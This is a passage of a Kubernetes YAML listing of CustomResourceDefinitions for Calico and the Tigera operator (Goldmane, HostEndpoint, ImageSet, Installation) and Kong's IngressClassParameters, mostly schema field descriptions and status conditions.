                          reason contains a programmatic identifier indicating the reason for the condition's last transition.
                          Producers of specific condition types may define expected values and meanings for this field,
                          and whether the values are considered a guaranteed API.
                          The value should be a CamelCase string.
                          This field may not be empty.
                        maxLength: 1024
                        minLength: 1
                        pattern: ^[A-Za-z]([A-Za-z0-9_,:]*[A-Za-z0-9_])?$
                        type: string
                      status:
                        description: status of the condition, one of True, False,
                          Unknown.
                        enum:
                        - "True"
                        - "False"
                        - Unknown
                        type: string
                      type:
                        description: type of condition in CamelCase or in foo.example.com/CamelCase.
                        maxLength: 316
                        pattern: ^([a-z0-9]([-a-z0-9]*[a-z0-9])?(\.[a-z0-9]([-a-z0-9]*[a-z0-9])?)*/)?(([A-Za-z0-9][-A-Za-z0-9_.]*)?[A-Za-z0-9])$
                        type: string
                    required:
                    - lastTransitionTime
                    - message
                    - reason
                    - status
                    - type
                    type: object
                  type: array
              type: object
          type: object
      served: true
      storage: true
      subresources:
        status: {}
  status:
    acceptedNames:
      kind: Goldmane
      listKind: GoldmaneList
      plural: goldmanes
      singular: goldmane
    conditions:
    - lastTransitionTime: "2025-10-19T16:10:24Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-10-19T16:10:25Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      controller-gen.kubebuilder.io/version: v0.17.3
      kubectl.kubernetes.io/last-applied-configuration: |
        {"apiVersion":"apiextensions.k8s.io/v1","kind":"CustomResourceDefinition","metadata":{"annotations":{"controller-gen.kubebuilder.io/version":"v0.17.3"},"name":"hostendpoints.crd.projectcalico.org"},"spec":{"group":"crd.projectcalico.org","names":{"kind":"HostEndpoint","listKind":"HostEndpointList","plural":"hostendpoints","singular":"hostendpoint"},"preserveUnknownFields":false,"scope":"Cluster","versions":[{"name":"v1","schema":{"openAPIV3Schema":{"properties":{"apiVersion":{"description":"APIVersion defines the versioned schema of this representation of an object.\nServers should convert recognized schemas to the latest internal value, and\nmay reject unrecognized values.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources","type":"string"},"kind":{"description":"Kind is a string value representing the REST resource this object represents.\nServers may infer this from the endpoint the client submits requests to.\nCannot be updated.\nIn CamelCase.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds","type":"string"},"metadata":{"type":"object"},"spec":{"description":"HostEndpointSpec contains the specification for a HostEndpoint resource.","properties":{"expectedIPs":{"description":"The expected IP addresses (IPv4 and IPv6) of the endpoint.\nIf \"InterfaceName\" is not present, Calico will look for an interface matching any\nof the IPs in the list and apply policy to that.\nNote:\n\tWhen using the selector match criteria in an ingress or egress security Policy\n\tor Profile, Calico converts the selector into a set of IP addresses. For host\n\tendpoints, the ExpectedIPs field is used for that purpose. (If only the interface\n\tname is specified, Calico does not learn the IPs of the interface for use in match\n\tcriteria.)","items":{"type":"string"},"type":"array"},"interfaceName":{"description":"Either \"*\", or the name of a specific Linux interface to apply policy to; or empty.  \"*\"\nindicates that this HostEndpoint governs all traffic to, from or through the default\nnetwork namespace of the host named by the \"Node\" field; entering and leaving that\nnamespace via any interface, including those from/to non-host-networked local workloads.\n\nIf InterfaceName is not \"*\", this HostEndpoint only governs traffic that enters or leaves\nthe host through the specific interface named by InterfaceName, or - when InterfaceName\nis empty - through the specific interface that has one of the IPs in ExpectedIPs.\nTherefore, when InterfaceName is empty, at least one expected IP must be specified.  Only\nexternal interfaces (such as \"eth0\") are supported here; it isn't possible for a\nHostEndpoint to protect traffic through a specific local workload interface.\n\nNote: Only some kinds of policy are implemented for \"*\" HostEndpoints; initially just\npre-DNAT policy.  Please check Calico documentation for the latest position.","type":"string"},"node":{"description":"The node name identifying the Calico node instance.","type":"string"},"ports":{"description":"Ports contains the endpoint's named ports, which may be referenced in security policy rules.","items":{"properties":{"name":{"type":"string"},"port":{"type":"integer"},"protocol":{"anyOf":[{"type":"integer"},{"type":"string"}],"pattern":"^.*","x-kubernetes-int-or-string":true}},"required":["name","port","protocol"],"type":"object"},"type":"array"},"profiles":{"description":"A list of identifiers of security Profile objects that apply to this endpoint. Each\nprofile is applied in the order that they appear in this list.  Profile rules are applied\nafter the selector-based security policy.","items":{"type":"string"},"type":"array"}},"type":"object"}},"type":"object"}},"served":true,"storage":true}]}}
    creationTimestamp: "2025-09-21T11:09:50Z"
    generation: 3
    name: hostendpoints.crd.projectcalico.org
    resourceVersion: "6820664"
    uid: dba4fa49-5bde-49ad-97e0-b80b41616667
  spec:
    conversion:
      strategy: None
    group: crd.projectcalico.org
    names:
      kind: HostEndpoint
      listKind: HostEndpointList
      plural: hostendpoints
      singular: hostendpoint
    scope: Cluster
    versions:
    - name: v1
      schema:
        openAPIV3Schema:
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              description: HostEndpointSpec contains the specification for a HostEndpoint
                resource.
              properties:
                expectedIPs:
                  description: "The expected IP addresses (IPv4 and IPv6) of the endpoint.\nIf
                    \"InterfaceName\" is not present, Calico will look for an interface
                    matching any\nof the IPs in the list and apply policy to that.\nNote:\n\tWhen
                    using the selector match criteria in an ingress or egress security
                    Policy\n\tor Profile, Calico converts the selector into a set
                    of IP addresses. For host\n\tendpoints, the ExpectedIPs field
                    is used for that purpose. (If only the interface\n\tname is specified,
                    Calico does not learn the IPs of the interface for use in match\n\tcriteria.)"
                  items:
                    type: string
                  type: array
                interfaceName:
                  description: |-
                    Either "*", or the name of a specific Linux interface to apply policy to; or empty.  "*"
                    indicates that this HostEndpoint governs all traffic to, from or through the default
                    network namespace of the host named by the "Node" field; entering and leaving that
                    namespace via any interface, including those from/to non-host-networked local workloads.

                    If InterfaceName is not "*", this HostEndpoint only governs traffic that enters or leaves
                    the host through the specific interface named by InterfaceName, or - when InterfaceName
                    is empty - through the specific interface that has one of the IPs in ExpectedIPs.
                    Therefore, when InterfaceName is empty, at least one expected IP must be specified.  Only
                    external interfaces (such as "eth0") are supported here; it isn't possible for a
                    HostEndpoint to protect traffic through a specific local workload interface.

                    Note: Only some kinds of policy are implemented for "*" HostEndpoints; initially just
                    pre-DNAT policy.  Please check Calico documentation for the latest position.
                  type: string
                node:
                  description: The node name identifying the Calico node instance.
                  type: string
                ports:
                  description: Ports contains the endpoint's named ports, which may
                    be referenced in security policy rules.
                  items:
                    properties:
                      name:
                        type: string
                      port:
                        type: integer
                      protocol:
                        anyOf:
                        - type: integer
                        - type: string
                        pattern: ^.*
                        x-kubernetes-int-or-string: true
                    required:
                    - name
                    - port
                    - protocol
                    type: object
                  type: array
                profiles:
                  description: |-
                    A list of identifiers of security Profile objects that apply to this endpoint. Each
                    profile is applied in the order that they appear in this list.  Profile rules are applied
                    after the selector-based security policy.
                  items:
                    type: string
                  type: array
              type: object
          type: object
      served: true
      storage: true
  status:
    acceptedNames:
      kind: HostEndpoint
      listKind: HostEndpointList
      plural: hostendpoints
      singular: hostendpoint
    conditions:
    - lastTransitionTime: "2025-09-21T11:09:50Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-21T11:09:50Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      controller-gen.kubebuilder.io/version: v0.17.3
    creationTimestamp: "2025-10-19T16:10:24Z"
    generation: 1
    name: imagesets.operator.tigera.io
    resourceVersion: "6820575"
    uid: fe2b0eb7-1168-425b-9c26-19fa9e124366
  spec:
    conversion:
      strategy: None
    group: operator.tigera.io
    names:
      kind: ImageSet
      listKind: ImageSetList
      plural: imagesets
      singular: imageset
    scope: Cluster
    versions:
    - name: v1
      schema:
        openAPIV3Schema:
          description: |-
            ImageSet is used to specify image digests for the images that the operator deploys.
            The name of the ImageSet is expected to be in the format `<variant>-<release>`.
            The `variant` used is `enterprise` if the InstallationSpec Variant is
            `TigeraSecureEnterprise` otherwise it is `calico`.
            The `release` must match the version of the variant that the operator is built to deploy,
            this version can be obtained by passing the `--version` flag to the operator binary.
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              description: ImageSetSpec defines the desired state of ImageSet.
              properties:
                images:
                  description: |-
                    Images is the list of images to use digests. All images that the operator will deploy
                    must be specified.
                  items:
                    properties:
                      digest:
                        description: |-
                          Digest is the image identifier that will be used for the Image.
                          The field should not include a leading `@` and must be prefixed with `sha256:`.
                        type: string
                      image:
                        description: |-
                          Image is an image that the operator deploys and instead of using the built in tag
                          the operator will use the Digest for the image identifier.
                          The value should be the *original* image name without registry or tag or digest.
                          For the image `docker.io/calico/node:v3.17.1` it should be represented as `calico/node`
                          The "Installation" spec allows defining custom image registries, paths or prefixes.
                          Even for custom images such as example.com/custompath/customprefix-calico-node:v3.17.1,
                          this value should still be `calico/node`.
                        type: string
                    required:
                    - digest
                    - image
                    type: object
                  type: array
              type: object
          type: object
      served: true
      storage: true
      subresources:
        status: {}
  status:
    acceptedNames:
      kind: ImageSet
      listKind: ImageSetList
      plural: imagesets
      singular: imageset
    conditions:
    - lastTransitionTime: "2025-10-19T16:10:25Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-10-19T16:10:25Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      controller-gen.kubebuilder.io/version: v0.16.1
    creationTimestamp: "2025-09-23T09:56:10Z"
    generation: 1
    name: ingressclassparameterses.configuration.konghq.com
    resourceVersion: "413043"
    uid: dff7b616-2e9c-4579-8dcd-6db24ff0d2c9
  spec:
    conversion:
      strategy: None
    group: configuration.konghq.com
    names:
      kind: IngressClassParameters
      listKind: IngressClassParametersList
      plural: ingressclassparameterses
      singular: ingressclassparameters
    scope: Namespaced
    versions:
    - name: v1alpha1
      schema:
        openAPIV3Schema:
          description: IngressClassParameters is the Schema for the IngressClassParameters
            API.
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              description: Spec is the IngressClassParameters specification.
              properties:
                enableLegacyRegexDetection:
                  default: false
                  description: |-
                    EnableLegacyRegexDetection automatically detects if ImplementationSpecific Ingress paths are regular expression
                    paths using the legacy 2.x heuristic. The controller adds the "~" prefix to those paths if the Kong version is
                    3.0 or higher.
                  type: boolean
                serviceUpstream:
                  default: false
                  description: Offload load-balancing to kube-proxy or sidecar.
                  type: boolean
              type: object
          type: object
      served: true
      storage: true
  status:
    acceptedNames:
      kind: IngressClassParameters
      listKind: IngressClassParametersList
      plural: ingressclassparameterses
      singular: ingressclassparameters
    conditions:
    - lastTransitionTime: "2025-09-23T09:56:10Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-23T09:56:10Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1alpha1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      controller-gen.kubebuilder.io/version: v0.17.3
    creationTimestamp: "2025-10-19T16:10:26Z"
    generation: 1
    name: installations.operator.tigera.io
    resourceVersion: "6820596"
    uid: dc528a39-ab04-4280-9dc9-d2d801b2cdbf
  spec:
    conversion:
      strategy: None
    group: operator.tigera.io
    names:
      kind: Installation
      listKind: InstallationList
      plural: installations
      singular: installation
    scope: Cluster
    versions:
    - name: v1
      schema:
        openAPIV3Schema:
          description: |-
            Installation configures an installation of Calico or Calico Enterprise. At most one instance
            of this resource is supported. It must be named "default". The Installation API installs core networking
            and network policy components, and provides general install-time configuration.
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              description: Specification of the desired state for the Calico or Calico
                Enterprise installation.
              properties:
                azure:
                  description: Azure is used to configure azure provider specific
                    options.
                  properties:
                    policyMode:
                      default: Default
                      description: |-
                        PolicyMode determines whether the "control-plane" label is applied to namespaces. It offers two options: Default and Manual.
                        The Default option adds the "control-plane" label to the required namespaces.
                        The Manual option does not apply the "control-plane" label to any namespace.
                        Default: Default
                      enum:
                      - Default
                      - Manual
                      type: string
                  type: object
                calicoKubeControllersDeployment:
                  description: |-
                    CalicoKubeControllersDeployment configures the calico-kube-controllers Deployment. If used in
                    conjunction with the deprecated ComponentResources, then these overrides take precedence.
                  properties:
                    metadata:
                      description: Metadata is a subset of a Kubernetes object's metadata
                        that is added to the Deployment.
                      properties:
                        annotations:
                          additionalProperties:
                            type: string
                          description: |-
                            Annotations is a map of arbitrary non-identifying metadata. Each of these
                            key/value pairs are added to the object's annotations provided the key does not
                            already exist in the object's annotations.
                          type: object
                        labels:
                          additionalProperties:
                            type: string
                          description: |-
                            Labels is a map of string keys and values that may match replicaset and
                            service selectors. Each of these key/value pairs are added to the
                            object's labels provided the key does not already exist in the object's labels.
                          type: object
                      type: object
                    spec:
                      description: Spec is the specification of the calico-kube-controllers
                        Deployment.
                      properties:
                        minReadySeconds:
                          description: |-
                            MinReadySeconds is the minimum number of seconds for which a newly created Deployment pod should
                            be ready without any of its container crashing, for it to be considered available.
                            If specified, this overrides any minReadySeconds value that may be set on the calico-kube-controllers Deployment.
                            If omitted, the calico-kube-controllers Deployment will use its default value for minReadySeconds.
                          format: int32
                          maximum: 2147483647
                          minimum: 0
                          type: integer
                        template:
                          description: Template describes the calico-kube-controllers
                            Deployment pod that will be created.
                          properties:
                            metadata:
                              description: |-
                                Metadata is a subset of a Kubernetes object's metadata that is added to
                                the pod's metadata.
                              properties:
                                annotations:
                                  additionalProperties:
                                    type: string
                                  description: |-
                                    Annotations is a map of arbitrary non-identifying metadata. Each of these
                                    key/value pairs are added to the object's annotations provided the key does not
                                    already exist in the object's annotations.
                                  type: object
                                labels:
                                  additionalProperties:
                                    type: string
                                  description: |-
                                    Labels is a map of string keys and values that may match replicaset and
                                    service selectors. Each of these key/value pairs are added to the
                                    object's labels provided the key does not already exist in the object's labels.
                                  type: object
                              type: object
                            spec:
                              description: Spec is the calico-kube-controllers Deployment's
                                PodSpec.
                              properties:
                                affinity:
                                  description: |-
                                    Affinity is a group of affinity scheduling rules for the calico-kube-controllers pods.
                                    If specified, this overrides any affinity that may be set on the calico-kube-controllers Deployment.
                                    If omitted, the calico-kube-controllers Deployment will use its default value for affinity.
                                    WARNING: Please note that this field will override the default calico-kube-controllers Deployment affinity.
                                  properties:
                                    nodeAffinity:
                                      description: Describes node affinity scheduling
                                        rules for the pod.
                                      properties:
                                        preferredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            The scheduler will prefer to schedule pods to nodes that satisfy
                                            the affinity expressions specified by this field, but it may choose
                                            a node that violates one or more of the expressions. The node that is
                                            most preferred is the one with the greatest sum of weights, i.e.
                                            for each node that meets all of the scheduling requirements (resource
                                            request, requiredDuringScheduling affinity expressions, etc.),
                                            compute a sum by iterating through the elements of this field and adding
                                            "weight" to the sum if the node matches the corresponding matchExpressions; the
                                            node(s) with the highest sum are the most preferred.
                                          items:
                                            description: |-
                                              An empty preferred scheduling term matches all objects with implicit weight 0
                                              (i.e. it's a no-op). A null preferred scheduling term matches no objects (i.e. is also a no-op).
                                            properties:
                                              preference:
                                                description: A node selector term,
                                                  associated with the corresponding
                                                  weight.
                                                properties:
                                                  matchExpressions:
                                                    description: A list of node selector
                                                      requirements by node's labels.
                                                    items:
                                                      description: |-
                                                        A node selector requirement is a selector that contains values, a key, and an operator
                                                        that relates the key and values.
                                                      properties:
                                                        key:
                                                          description: The label key
                                                            that the selector applies
                                                            to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            Represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            An array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. If the operator is Gt or Lt, the values
                                                            array must have a single element, which will be interpreted as an integer.
                                                            This array is replaced during a strategic merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchFields:
                                                    description: A list of node selector
                                                      requirements by node's fields.
                                                    items:
                                                      description: |-
                                                        A node selector requirement is a selector that contains values, a key, and an operator
                                                        that relates the key and values.
                                                      properties:
                                                        key:
                                                          description: The label key
                                                            that the selector applies
                                                            to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            Represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            An array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. If the operator is Gt or Lt, the values
                                                            array must have a single element, which will be interpreted as an integer.
                                                            This array is replaced during a strategic merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              weight:
                                                description: Weight associated with
                                                  matching the corresponding nodeSelectorTerm,
                                                  in the range 1-100.
                                                format: int32
                                                type: integer
                                            required:
                                            - preference
                                            - weight
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                        requiredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            If the affinity requirements specified by this field are not met at
                                            scheduling time, the pod will not be scheduled onto the node.
                                            If the affinity requirements specified by this field cease to be met
                                            at some point during pod execution (e.g. due to an update), the system
                                            may or may not try to eventually evict the pod from its node.
                                          properties:
                                            nodeSelectorTerms:
                                              description: Required. A list of node
                                                selector terms. The terms are ORed.
                                              items:
                                                description: |-
                                                  A null or empty node selector term matches no objects. The requirements of
                                                  them are ANDed.
                                                  The TopologySelectorTerm type implements a subset of the NodeSelectorTerm.
                                                properties:
                                                  matchExpressions:
                                                    description: A list of node selector
                                                      requirements by node's labels.
                                                    items:
                                                      description: |-
                                                        A node selector requirement is a selector that contains values, a key, and an operator
                                                        that relates the key and values.
                                                      properties:
                                                        key:
                                                          description: The label key
                                                            that the selector applies
                                                            to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            Represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            An array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. If the operator is Gt or Lt, the values
                                                            array must have a single element, which will be interpreted as an integer.
                                                            This array is replaced during a strategic merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchFields:
                                                    description: A list of node selector
                                                      requirements by node's fields.
                                                    items:
                                                      description: |-
                                                        A node selector requirement is a selector that contains values, a key, and an operator
                                                        that relates the key and values.
                                                      properties:
                                                        key:
                                                          description: The label key
                                                            that the selector applies
                                                            to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            Represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            An array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. If the operator is Gt or Lt, the values
                                                            array must have a single element, which will be interpreted as an integer.
                                                            This array is replaced during a strategic merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              type: array
                                              x-kubernetes-list-type: atomic
                                          required:
                                          - nodeSelectorTerms
                                          type: object
                                          x-kubernetes-map-type: atomic
                                      type: object
                                    podAffinity:
                                      description: Describes pod affinity scheduling
                                        rules (e.g. co-locate this pod in the same
                                        node, zone, etc. as some other pod(s)).
                                      properties:
                                        preferredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            The scheduler will prefer to schedule pods to nodes that satisfy
                                            the affinity expressions specified by this field, but it may choose
                                            a node that violates one or more of the expressions. The node that is
                                            most preferred is the one with the greatest sum of weights, i.e.
                                            for each node that meets all of the scheduling requirements (resource
                                            request, requiredDuringScheduling affinity expressions, etc.),
                                            compute a sum by iterating through the elements of this field and adding
                                            "weight" to the sum if the node has pods which matches the corresponding podAffinityTerm; the
                                            node(s) with the highest sum are the most preferred.
                                          items:
                                            description: The weights of all of the
                                              matched WeightedPodAffinityTerm fields
                                              are added per-node to find the most
                                              preferred node(s)
                                            properties:
                                              podAffinityTerm:
                                                description: Required. A pod affinity
                                                  term, associated with the corresponding
                                                  weight.
                                                properties:
                                                  labelSelector:
                                                    description: |-
                                                      A label query over a set of resources, in this case pods.
                                                      If it's null, this PodAffinityTerm matches with no Pods.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  matchLabelKeys:
                                                    description: |-
                                                      MatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                      Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  mismatchLabelKeys:
                                                    description: |-
                                                      MismatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                      Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  namespaceSelector:
                                                    description: |-
                                                      A label query over the set of namespaces that the term applies to.
                                                      The term is applied to the union of the namespaces selected by this field
                                                      and the ones listed in the namespaces field.
                                                      null selector and null or empty namespaces list means "this pod's namespace".
                                                      An empty selector ({}) matches all namespaces.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  namespaces:
                                                    description: |-
                                                      namespaces specifies a static list of namespace names that the term applies to.
                                                      The term is applied to the union of the namespaces listed in this field
                                                      and the ones selected by namespaceSelector.
                                                      null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  topologyKey:
                                                    description: |-
                                                      This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                      the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                      whose value of the label with key topologyKey matches that of any node on which any of the
                                                      selected pods is running.
                                                      Empty topologyKey is not allowed.
                                                    type: string
                                                required:
                                                - topologyKey
                                                type: object
                                              weight:
                                                description: |-
                                                  weight associated with matching the corresponding podAffinityTerm,
                                                  in the range 1-100.
                                                format: int32
                                                type: integer
                                            required:
                                            - podAffinityTerm
                                            - weight
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                        requiredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            If the affinity requirements specified by this field are not met at
                                            scheduling time, the pod will not be scheduled onto the node.
                                            If the affinity requirements specified by this field cease to be met
                                            at some point during pod execution (e.g. due to a pod label update), the
                                            system may or may not try to eventually evict the pod from its node.
                                            When there are multiple elements, the lists of nodes corresponding to each
                                            podAffinityTerm are intersected, i.e. all terms must be satisfied.
                                          items:
                                            description: |-
                                              Defines a set of pods (namely those matching the labelSelector
                                              relative to the given namespace(s)) that this pod should be
                                              co-located (affinity) or not co-located (anti-affinity) with,
                                              where co-located is defined as running on a node whose value of
                                              the label with key <topologyKey> matches that of any node on which
                                              a pod of the set of pods is running
                                            properties:
                                              labelSelector:
                                                description: |-
                                                  A label query over a set of resources, in this case pods.
                                                  If it's null, this PodAffinityTerm matches with no Pods.
                                                properties:
                                                  matchExpressions:
                                                    description: matchExpressions
                                                      is a list of label selector
                                                      requirements. The requirements
                                                      are ANDed.
                                                    items:
                                                      description: |-
                                                        A label selector requirement is a selector that contains values, a key, and an operator that
                                                        relates the key and values.
                                                      properties:
                                                        key:
                                                          description: key is the
                                                            label key that the selector
                                                            applies to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            operator represents a key's relationship to a set of values.
